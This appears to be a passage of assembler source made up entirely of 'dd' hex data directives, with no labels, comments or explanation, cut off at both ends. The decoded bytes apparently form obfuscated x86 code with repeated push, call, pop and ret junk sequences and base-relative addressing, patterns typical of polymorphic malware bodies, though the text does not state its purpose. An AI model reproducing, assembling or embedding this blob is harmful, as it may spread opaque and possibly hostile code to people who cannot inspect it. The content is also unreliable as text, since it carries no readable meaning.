740007FAh, 0B8535011h, 1, 0DF779D8Dh, 0D3FF07FCh, 0BE8585Bh dd 24000000h, 0F66F47F6h, 2F40ABA8h, 9D0BED30h, 7FA30C5h dd 6A6FB65Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 927FC352h, 0E680881Fh, 68D0F04h dd 2B000000h, 0FA1D6D9Dh, 0E8606007h, 12h, 81777E9h, 323C1174h dd 238C41B3h, 40DC4163h, 0F5BDD36h, 8Eh, 0B58B6100h, 7FA01FDh dd 6AC08B61h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 9D94C357h, 6CFCF90Ah, 0E99AE719h dd 10h, 98945D4Eh, 4F17E463h, 93B34475h, 7BF53D24h, 217DBD83h dd 0F0007FAh, 1CE84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0D927546Bh, 0AADF5E23h dd 0B70F3CA6h, 5BD83D6h, 7FA1Eh, 199840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0BECF7CC3h, 0D1BF0FF6h, 0BDB50960h, 6607FA02h, 858BD98Bh dd 7FA1E05h, 3E805h, 15953300h, 9007FA17h, 5050D18Ah, 0FD4B352h dd 14E931h, 61640000h, 0BFF45553h, 4BD77AFCh, 6DB7177Ch dd 87983809h, 585ADA36h, 5E990h, 66EE0000h, 8D149E11h dd 0FA4F4285h, 81B58907h, 5007FA2Ah, 66525060h, 0F60D9B9h dd 5A5B5331h, 450AB958h, 8961727Fh, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 10BDAFC3h dd 2ED978BFh, 2DCDB529h, 858D07FAh, 7FA4F20h, 6E9h, 0B491BA00h dd 502E9CE0h, 5E8h, 64D43000h, 10E9F2C4h, 80000000h, 14EB8576h dd 38B29D4Ch, 77DEAD7Bh, 5B333372h, 66240489h, 5BCBF281h dd 0DC595FFh, 0F68007FAh, 0F2816627h, 0C483D07Dh, 17DF800Ch dd 4F20858Dh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 405BD9C3h, 193340FFh, 8AD84E5Ch dd 0DCB250F9h, 89240489h, 0FA10F58Dh, 8B026A07h, 0FA299D95h dd 1495FF07h, 53006AEDh, 105D958Bh, 615A07FAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 87C35242h, 0F6E92A71h dd 0F54BC72h, 13E8DEBFh, 47000000h, 5462A8E7h, 1E9EBB5Ch dd 2E821EF5h, 357E459Ah, 0BB66F344h, 0C75A51A7h, 0FA4F5385h dd 107h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0CA3677B2h, 8A0F508Ah, 8, 0F525052h dd 5A585A31h, 0B7243489h, 4B5898Ch, 8B07FA4Fh, 0FA1E4995h dd 0EDBD8307h, 107FA33h, 3C850Fh, 9D8B0000h, 7FA16C9h dd 0F05F883h, 2D85h, 5BD3100h, 0B807FA2Bh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3FC35242h dd 324A4446h, 0BD83B3B7h, 7FA24D9h, 6D840F00h, 0E8000000h dd 8, 0A6418DABh, 410E5CD9h, 5BD3BF0Fh, 53006A60h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 93D529E5h, 5F95EC66h, 2BD1BD89h, 0B50107FAh, 7FA2B89h dd 24D995FFh, 9D8B07FAh, 7FA2291h, 52006A61h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 1CD5383Ch dd 789BD83h, 0F0007FAh, 2384h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0B8F5FCh, 0F9000000h dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 89103253h, 0FA24A98Dh, 15858B07h, 6A07FA16h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 45B5C353h, 0C083FA8Ah, 89D48A02h, 0FA4EFC85h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 20EAB8A9h, 27882F8h, 23599D89h, 0C607FAh dd 0E5BD29FFh, 0C607FA1Ch, 0FA066585h, 6A5307h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 1E0224C3h, 0C7BDE4B1h, 4E8BEAAh, 0D8000000h, 0B7FCB148h dd 616050FAh, 424448Bh, 0D18B6651h, 0BA008B5Ah, 6FAA80CCh dd 4244489h, 58D78B66h, 0B70FD78Bh, 95B5FFD0h, 8907FA20h dd 0FA1D6D95h, 0DD858D07h, 6A07FDA3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 92C8C356h dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0FEB642C3h, 894C9B76h, 0FA101985h, 0DE8B6607h dd 0B75BD83h, 0F0107FAh, 0AE85h, 41958B00h, 6607FA26h dd 618D7DBAh, 0AE9h, 9EECE100h, 9110B09h, 0C6F19494h, 0FA066585h dd 85294507h, 7FA1D9Dh, 0CE8h, 9CFAB200h, 43884308h, 4E5EB008h dd 999D89EAh, 5A07FA2Eh, 4949D268h, 892BBC5h, 34815570h dd 29711024h, 29958B1Fh, 0FF07FA29h, 0FA2095B5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 1EFCC3DDh, 840F504Bh, 4, 43D1BB66h, 0DD858D5Ah, 8907FDA3h dd 0FA220D9Dh, 0BBD0FF07h, 393AA7FBh, 0B529006Ah, 7FA15B1h dd 0FFE6EB80h, 0AD9D29D0h, 8307FA0Dh, 0FA1E45BDh, 850F0107h dd 0B1h, 15858BF9h, 0FC07FA16h, 6CE9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 9DBB7126h, 609044D7h, 15B8CCB0h, 6142DBCAh, 0FE950h dd 4A070000h, 5CCD6D93h, 0EABC68A2h, 281D3D3Ch, 0F5090C6h dd 68Ch, 0D19D8B00h, 5B07FA1Bh, 8B66146Ah, 1995FFDAh, 6607FA10h dd 1B0DEB81h, 9D9D8B58h, 907FA1Fh, 0FA0E5DB5h, 388007h dd 0FFAC850Fh, 9D89FFFFh, 7FA3231h, 6A0100C6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 4E78C352h, 8181ED1Ch, 7BD984DBh, 6A6105h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E5DF1FC3h dd 8B79D5EFh, 9800FDEh, 0F000000h, 389h, 0D38B6600h, 0FD9BD83h dd 0F0007FAh, 7184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 2A0C649Ch, 0DB9C9BE6h dd 8BFF6A6Ah, 1995FFD9h, 0BA07FA10h, 4140E1A9h, 12E9h dd 0D85D2A00h, 73C91CCAh, 1495BB29h, 0EEDF42C6h, 0E9F6049Bh dd 0FFFFFFD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 9CC35343h, 4FBD1CFEh, 85C7B79Bh, 7FA0FD9h, 1, 891AE280h dd 0FA4F0885h, 419D8907h, 5007FA2Ch, 6870Fh, 60600000h dd 615E5261h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 6D2C353h, 0E303382Ah dd 9D8B9597h, 7FA2D59h, 18F0F60h, 0F8000000h, 0B752056Ah dd 858D5B98h, 7FA4F20h, 0D21B589h, 0B79007FAh, 9E850C6h dd 5000000h, 3E94CBC0h, 0E968151Eh, 9E8h, 61C18F00h, 0AD460646h dd 0B5BBB83Bh, 5B2F754Fh, 6A905Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0D9CD5C3h, 66DF8B66h dd 8DE517BBh, 0FA4F1085h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0A769BF87h dd 44A31105h, 8953A7D1h, 0FA1671B5h, 89505A07h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 9863ECC3h, 10719D8Bh, 0DE907FAh, 8C000000h, 65169DC8h dd 7C5A27BFh, 99E57994h, 18C995FFh, 9D8B07FAh, 7FA0F51h dd 5659D8Bh, 8D8D07FAh, 7FA7B9Bh, 18F5958Bh, 0C00B07FAh dd 858D1174h, 7FA4F20h, 89D1FF50h, 0FA4F3E85h, 0C70AEB07h dd 0FA4F3E85h, 0FFFFFF07h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0C8A0F4Ch dd 0F000000h, 683h, 8A0F00h, 0F9000000h, 50006A61h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0C522B08h, 0FD71C78h, 0BE9D3B7h, 0F2000000h, 0D5BC4BBh dd 0B9A53140h, 85C6BB8Ch, 7FA0665h, 50006A4Dh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0EC74D5C0h dd 6A75FDC3h, 68DDEB80h, 2FEA8207h, 48176B7h, 4AF4A124h dd 0FFD18B74h, 0FA2279B5h, 699D8B07h, 8D07FA14h, 0FDA3DD85h dd 0BE666007h, 8B663996h, 0D0FF61CEh, 5840Fh, 81660000h dd 8936A0DBh, 0FA2AE585h, 0D08B6607h, 66585C6h, 664507FAh dd 0C68D68Bh, 669A07F4h, 3481D18Bh, 759D6524h, 51006A14h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 9669DC38h, 0B5FFFD9Fh, 7FA2095h, 14E8h, 95FA8500h, 0B669BC3Dh dd 0E2AEAD4Bh, 0EF5D2B79h, 0ECDA1E3Dh, 959D8BA9h, 5A07FA32h dd 0A3DD858Dh, 0D0FF07FDh, 0D38143B6h, 4E37AE6Ah, 0EBD8589h dd 0BD8907FAh, 7FA0C91h, 0E853D28Bh, 14h, 0A830C432h, 2BB4D215h dd 6F812D4Eh, 0DC922A80h, 0F75D434Bh, 0E59958Bh, 5A5A07FAh dd 89D98C66h, 0FA264185h, 4C1F607h, 294840Fh, 0BDE90000h dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 769AC355h, 63E4C1Fh, 0B58B4B0Eh dd 7FA1505h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 7DC35545h, 817D26FBh, 1180C6h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0B4BD2B19h, 0C1958BACh, 8307FA16h, 0FA2C05BDh, 850F0007h dd 78h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 3CC35242h, 2623E1B2h, 0E3508015h, 0FE9D2h, 0E4690000h dd 4FE21CF5h, 74F1E716h, 0E879E1E8h, 0EE98Ch, 0C4800000h dd 0D0E24F8Eh, 0D8BA5EC4h, 6DFA2D31h, 0CCE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 19FD3F59h, 0A9BD8956h, 5A07FA2Ch dd 0F003E83h, 9C84h, 87BA6000h, 3112F025h, 0FA33C59Dh dd 6A606107h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 55DAC350h, 0CD665275h, 0E9146AF5h dd 0Fh, 5B9946h, 0F0C91B17h, 0B6F82430h, 0FFD692D4h, 0FA101995h dd 0F5D88B07h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 2746B000h, 87D441ABh dd 71958932h, 0F07FA2Bh, 38Eh, 0D6B70F00h, 0FFFF6FE9h dd 8D2960FFh, 7FA0645h, 0D91958Bh, 2B6107FAh, 0FA2BF595h dd 106C707h, 0E9000000h, 14h, 60F7B539h, 4B11BD36h, 98305466h dd 7927340Fh, 0F1C57586h, 4F08BD83h, 0F0507FAh, 0C585h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 8AEE0C68h, 0ED56FCBBh, 0BDB58B23h, 0F807FA0Eh dd 64B9h, 6890F00h, 29000000h, 0FA23FD9Dh, 0E83E8007h dd 0A840Fh, 0BA660000h, 2BE959D7h, 0F9000000h, 0C2057E80h dd 3A840Fh, 810F0000h, 1Ah, 0EE8h, 0DCC3FD00h, 1C16A20Ah dd 55302755h, 8BD2E693h, 0FA1F659Dh, 0F9465B07h, 0BA850F49h dd 89FFFFFFh, 0FA074D8Dh, 38E907h, 85010000h, 7FA0E89h dd 29E9B589h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 1B449DC3h, 28A0Fh, 61600000h, 31659D8Bh dd 0E95807FAh, 5, 7CFFCC44h, 41BD83CBh, 7FA1Dh, 0E6840Fh dd 0D08A0000h, 7E960h, 62EA0000h, 0B44C9D8Eh, 6585C6FDh dd 5407FA06h, 0A68ACA81h, 9668351Ah, 66C8C38Ch, 811256BBh dd 32622434h, 0FE9378Dh, 0ED000000h, 72BE330Fh, 4D0A2F4h dd 0A996795h, 0B5FF49DDh, 7FA2095h, 0F2DBD89h, 858D07FAh dd 7FDA3DDh, 0F618D29h, 0D0FF07FAh, 14E9h, 747D1A00h, 46E7CF4h dd 0B77B2A9Bh, 0B8D9FA71h, 0BC67F2BAh, 0F006A7Bh, 689h dd 0D59D8B00h, 0FF07FA21h, 0FA1D41B5h, 14830F07h, 0E9000000h dd 0Fh, 685E42BFh, 68EFC268h, 2CC19C3h, 0FF2F6F36h, 4820FD0h dd 66000000h, 61CEA2BAh, 13E8h, 2ED66E00h, 2B41B8A6h, 95080E85h dd 2A3B8743h, 0C923921Bh, 0BE8h, 0ECBACA00h, 0E37E4B89h dd 0DBC0F5E0h, 9E9h, 0A70BC700h, 83DEE107h, 5A5B001Eh dd 2A2985C7h, 107FAh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 640DB7C3h, 14E95Fh, 794E0000h dd 791BA74Fh, 0A02550D2h, 0D0D6C8BFh, 0EA6AE328h, 36064FAh dd 0FA153195h, 26D6807h, 0BA666F85h, 3481AB77h, 8502ED24h dd 9D95896Fh, 6A07FA2Ch, 0AD9D8BFFh, 6607FA26h, 3A96E381h dd 154195FFh, 0B58907FAh, 7FA0FA5h, 59E5BA61h, 8ABA59F7h dd 9047FCD8h, 12E9h, 4269D000h, 5D54E9D8h, 130EDE52h, 4FCA3D83h dd 5038156Eh, 990D38Bh, 0FA18B99Dh, 0F5858B07h, 0B07FA0Eh dd 48840FC0h, 60000000h, 0EE9h, 0DF786500h, 3153DD44h dd 4737C856h, 89A81656h, 0FA32119Dh, 95FF6107h, 7FA10FDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A4C35242h dd 8B7C3F52h, 489FBB0Bh, 0C767B667h, 0FA0B6D85h, 107h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 9D8B47DFh, 7FA1681h, 1561BD83h, 0F0007FAh dd 2384h, 0D9B58900h, 6607FA0Ch, 95FFDE8Bh, 7FA0E85h, 0EE9h dd 0B18C8F00h, 587B650Ah, 24734ED9h, 0F5B2C91Dh, 254DBD83h dd 0F0007FAh, 2784h, 0EE85100h, 0F3000000h, 0C3492FCFh dd 54AC3008h, 6DFC88B6h, 24BBB0h, 5A5B3ED3h, 7B995FFh dd 9D8B07FAh, 7FA204Dh, 0D29BD83h, 0F0007FAh, 4A84h, 0CD958B00h dd 8307FA08h, 0FA2579BDh, 850F0007h, 37h, 0E8D0Fh, 0E9560000h dd 7, 42C8198h, 5B7192B1h, 17A595FFh, 6A07FAh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 83412EC3h, 0FA1D21BDh, 840F0007h, 24h, 169D9501h, 858107FAh dd 7FA20C9h, 4003h, 858194B2h, 7FA1581h, 4003h, 3B49F381h dd 0D88B1FE5h, 9D8B310Fh, 7FA019Dh, 5F6D8D8Dh, 0B52907FAh dd 7FA2459h, 0FE9h, 0F90C2900h, 5C17EBDEh, 0E856912Ch dd 29C2AAE3h, 8D890189h, 7FA076Dh, 6AC233h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 5DD342C3h dd 984A8AC7h, 0FE8h, 32D41600h, 0C9604BBh, 0FE9AB1FCh dd 26F83472h, 5ABBE680h, 0F044189h, 282h, 0FD68B00h, 0D68B6631h dd 5F798D8Dh, 958B07FAh, 7FA0F9Dh, 7E90189h, 0CE000000h dd 15F09435h, 0C233552Ah, 20F9958Bh, 418907FAh, 0E0F2BB04h dd 0BD834387h, 7FA2B35h, 48840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7988C353h, 0FFD8BF0Fh, 0FA00C195h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F1958B78h, 8307FA17h, 0FA15B5BDh, 850F0107h, 3Ch, 0BB666052h dd 5B612AAEh, 2FE9h, 59958B00h, 8B07FA23h, 0FA609BB5h dd 6C707h, 8B000000h, 0FA5E9FB5h, 6C707h, 0CF000000h, 14D28166h dd 0CB81660Fh, 9589EECCh, 7FA18F5h, 0B6DBD83h, 0F0007FAh dd 1DA84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 9F694720h, 0BAD45E56h, 9D2B4356h dd 7FA1D19h, 2F15BD83h, 0F0107FAh, 16885h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 8C66B3A9h, 0BB97BE7Eh, 77DFE476h, 4EFC8D8Bh, 0D78007FAh dd 9E96Ch, 5790000h, 0EEBCCC33h, 0C691F17Ah, 0EE80001h dd 12000000h, 0FF9BD78Ah, 7D4C7475h, 0E4FCB186h, 259D0B5Eh dd 5B07FA2Fh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0B45E97Bh, 8A8E3C2Dh, 230D68FDh dd 0AE96EF1h, 0A000000h, 321DCF31h, 554FF78Ah, 24348108h dd 6EF1238Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0FCC35545h, 0E5DF1F7Fh, 9D89D18Bh, 7FA1741h, 6AFF6Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 616A28C3h, 0FFDE8B99h, 0FA154195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B6159A7h, 0FA110D95h, 1195FF07h, 907FA0Eh, 0FA268595h dd 0FC8D8B07h, 6A07FA4Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0CD7BC353h, 4D7DBD2Ah dd 0D98D293Bh, 0E907FA00h, 11h, 0FA49E44Dh, 87811541h dd 0BE883819h, 0C3A988F9h, 8101FE28h, 2BA7B8D3h, 21BD833Eh dd 107FA29h, 2D850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 21C615C3h, 6E92134h dd 0AB000000h, 0C5923D1Bh, 8BA6B3E8h, 0BD83FCC0h, 7FA2ACDh dd 83097500h, 0FA1899BDh, 1A740007h, 0C08B5350h dd 20C9858Bh, 858907FAh, 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh dd 0BD83585Bh, 7FA1899h, 50187400h, 0C9858B53h, 8907FA20h dd 0FA20C985h, 139D8D07h, 0FF07FCDFh, 0F585BD3h, 687h dd 0C9B58900h, 6A07FA14h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 5CA8C351h, 0D59E604Fh dd 0E853E7A2h, 8, 2BD4F58Ch, 8D5EA12Eh, 2199523h, 5A5A07FAh dd 0F88AC08Bh, 0B6DBD83h, 0F0007FAh, 6085h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 91C3207h, 0FA08498Dh, 0BE807h, 69550000h, 0B6F4E6DDh dd 0CEA843E8h, 69B58903h, 5B07FA11h, 2F05BD83h, 0F0007FAh dd 1884h, 13E900h, 4C210000h, 65217918h, 10653100h, 0F7120477h dd 3254D8E7h, 6DBD833Bh, 7FA0Bh, 26840Fh, 95290000h, 7FA2375h dd 2ECDBD83h, 0F0007FAh, 1384h, 0EA816600h, 9E90346h, 0F2000000h dd 0B67DBC91h, 0BFDC4607h, 0B6DBD83h, 0F0007FAh, 1A84h dd 0CDBD8300h, 7FA2Eh, 0D840Fh, 0B5890000h, 7FA2F81h, 1860Fh dd 83FC0000h, 0FA0B6DBDh, 840F0007h, 4Eh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 9DC35040h, 0E82ECE2Dh dd 13h, 5693C59Fh, 9895E7AAh, 0AF677B7Ah, 30F16BEEh, 0F80D58BFh dd 0D78B665Bh, 17DBD83h, 0F0007FAh, 584h, 0DB816600h, 0BD835E43h dd 7FA0B6Dh, 3E840F00h, 0FC000000h, 290DBD83h, 0F0007FAh dd 3084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 5529ADDh, 2BE59D01h, 95FF07FAh, 7FA2645h dd 0BED38166h, 89C08BF9h, 0FA1DEDB5h, 0CDBD8307h, 7FA2Ah dd 0BD830975h, 7FA1899h, 501A7400h, 8BC08B53h, 0FA158185h dd 81858907h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h dd 7FA18h, 53501874h, 1581858Bh, 858907FAh, 7FA1581h, 0DF2C9D8Dh dd 0D3FF07FCh, 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0F60C50C3h, 5D9D8B7Fh, 0E907FA06h dd 0Dh, 6588056Ch, 901FEAF1h, 0B04BFB90h, 0CE93Bh, 88900000h dd 0E6D6D686h, 0E0E596FFh, 6A6BE7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 832FA9C3h dd 648F1139h, 950BC08Bh, 7FA07CDh, 0B6DBD83h, 0F0007FAh dd 32684h, 0D1BD8900h, 8B07FA18h, 0FA0DB99Dh, 75BD8307h dd 207FA0Bh, 23840Fh, 8E0F0000h, 4, 0D191BA66h, 0B5BD83FCh dd 107FA15h, 0B850Fh, 6E90000h, 20000000h, 0E958EBA9h dd 0F38160D4h, 37385813h, 4EFC8D8Bh, 0B58907FAh, 7FA0141h dd 6A01FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 41ACABC3h, 39A701BAh, 4E844h, 800000h, 5E90000h dd 29000000h, 0D868EE5Ah, 12E850h, 0F8F70000h, 0B34FC513h dd 0D4F9F24Ch, 93A8CE3Fh, 0A2D3F9CBh, 0AEF503BAh, 448B5A2Eh dd 39B30424h, 8B66008Bh, 244489D3h, 58B7B604h, 1810Fh dd 6AF80000h, 68D281FFh, 0FF26ABFDh, 0FA154195h, 9D953307h dd 6107FA08h, 1671958Bh, 816607FAh, 8D6EB3CBh, 0FA2889BDh dd 8B33B307h, 8B661C4Fh, 8B016ADFh, 0BA6050D0h, 40BB92F2h dd 2890Fh, 0F58A0000h, 240C8961h, 2C259589h, 858D07FAh dd 7FD6A64h, 0EB80D18Bh, 1D0FF94h, 0FA18659Dh, 204F8B07h dd 1830Fh, 6AF80000h, 619D8B03h, 9107FA26h, 0D18B6660h dd 0FE9h, 28F91E00h, 0D553E142h, 16744705h, 21F815AEh dd 8B915061h, 0FA2DB59Dh, 64858D07h, 0E907FD6Ah, 11h, 1892EEE4h dd 2297FACFh, 157D5512h, 4B272655h, 6AD0FF2Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 5768C351h, 5BD7BF0Fh, 2889BD8Dh, 4F8B07FAh, 0ACBA661Ch dd 8B016A06h, 0FA0F5595h, 7E89107h, 4D000000h, 68A6DE7Ah dd 860F4240h, 4, 258BBB66h, 6660505Bh, 0F38BC38Bh, 860F9161h dd 17h, 0BE8h, 798FDC00h, 0A5C16BDEh, 585E3289h, 0AC9B531h dd 8D5B07FAh, 0FD6A6485h, 0D2816607h, 0D0FF8EA3h, 0E977BA66h dd 6A204F8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0ABE9C353h, 4089F373h, 36A265Dh dd 3CBB6653h, 9D295BA6h, 7FA1D8Dh, 0D68B6650h, 6A240C89h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0C38FC356h, 468CEE36h, 8DB4575Bh, 0FD6A6485h dd 0B8BA6607h, 66D0FF60h, 8BB272BBh, 0FA4EFC8Dh, 45ADBB07h dd 1FE7290h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0D2C35141h, 8B7A5886h, 0FA4EFC85h, 8D295207h, 7FA244Dh dd 8900FE5Bh, 0FA27959Dh, 0BA016A07h, 6D49B17Fh, 4E8h dd 0FF9FFF00h, 5E860FFh, 1000000h, 0EE3A1A7Ah, 0CE8h, 2F8B4000h dd 30071095h, 0C511CF75h, 8B585B95h, 665061DEh, 8B67A1BBh dd 0F042444h, 485h, 0E2BA6600h, 0E8008B82h, 10h, 478D294Dh dd 71A6698Ch, 284E6C3Bh, 0B84F44C1h, 61605250h, 0D08B310Fh dd 895A585Ah, 58042444h, 0DB5958Bh, 858D07FAh, 7FD6A6Eh dd 0FF35D280h, 0AD9589D0h, 8307FA2Dh, 0FA2F05BDh, 840F0007h dd 9Dh, 83C9D780h, 0FA33EDBDh, 850F0107h, 8Dh, 16C1958Bh dd 8D8D07FAh, 7FD6A78h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0C0C35242h, 0BABDCB81h, 36A27A8h, 0AE9h dd 313D4800h, 72202418h, 6A75AEB6h, 0FFD38B01h, 11958BD1h dd 6607FA1Ch, 2119DB81h, 9D8B016Ah, 7FA2A89h, 8166016Ah dd 0FFE92BD3h, 0E8D08BD1h, 0F8616D4Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 84C35747h, 16DFBAEFh, 0CF8022B7h dd 51206A9Dh, 5AC0D680h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 29D99CC3h, 0FA0F699Dh dd 4195FF07h, 6A07FA15h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 96E1C353h, 952B71E7h dd 7FA2D61h, 0B8h, 519D8B00h, 0B07FA28h, 37840FC0h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0C71CC356h, 831F0A13h, 0FA2BE9BDh, 840F0007h dd 0Ah, 0FFD78B66h, 0FA312595h, 858BF907h, 7FA1615h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 21C35545h, 503A03C1h dd 5810Fh, 81660000h, 5A9BFCC3h, 6A0000C6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C42FC353h dd 36EFB0DFh, 8B3FFC72h, 0FA2F5D9Dh, 95895807h, 7FA286Dh dd 80D98C66h, 0C1F60DF7h, 80840F04h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 747AC350h, 56BB741Bh, 0E94600A8h, 57h, 0D7C38166h, 3D9589B3h dd 8B07FA23h, 0FA1505B5h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 319B4722h dd 0FA07B195h, 80C68107h, 0E9000011h, 10h, 0D49E51DFh dd 1C0D7F7Ah, 0F8AE635Ah, 0FDA5390h, 6C7h, 5EF90000h, 0AAD38166h dd 0F8830Ch, 0BAC840Fh, 0F8830000h, 2E850F01h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0F32C356h, 28Ah, 0B8DC8A00h, 0 dd 8B5BD89h, 0C00B07FAh, 9C840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 76A614C3h dd 8AB26053h, 6840FD8h, 8B000000h, 0FA16C995h, 1F88307h dd 9A840Fh, 0FCBB0000h, 6659F572h, 7506DA81h, 0F03F883h dd 1C84h, 859D8900h, 2B07FA08h, 498D89C0h, 8D07FA0Eh, 5B89E0BDh dd 0FFDF8B00h, 0C4BA66E7h, 1B860h, 81660000h, 8DD836F3h dd 5B89E0BDh, 0E59D8B00h, 0FF07FA29h, 55006AE7h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD8D2972h, 7FA4588h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0E4C35242h, 9CEE46F9h, 62A25EBCh, 319E956h dd 0B5290000h, 7FA1F2Dh, 4F5785C7h, 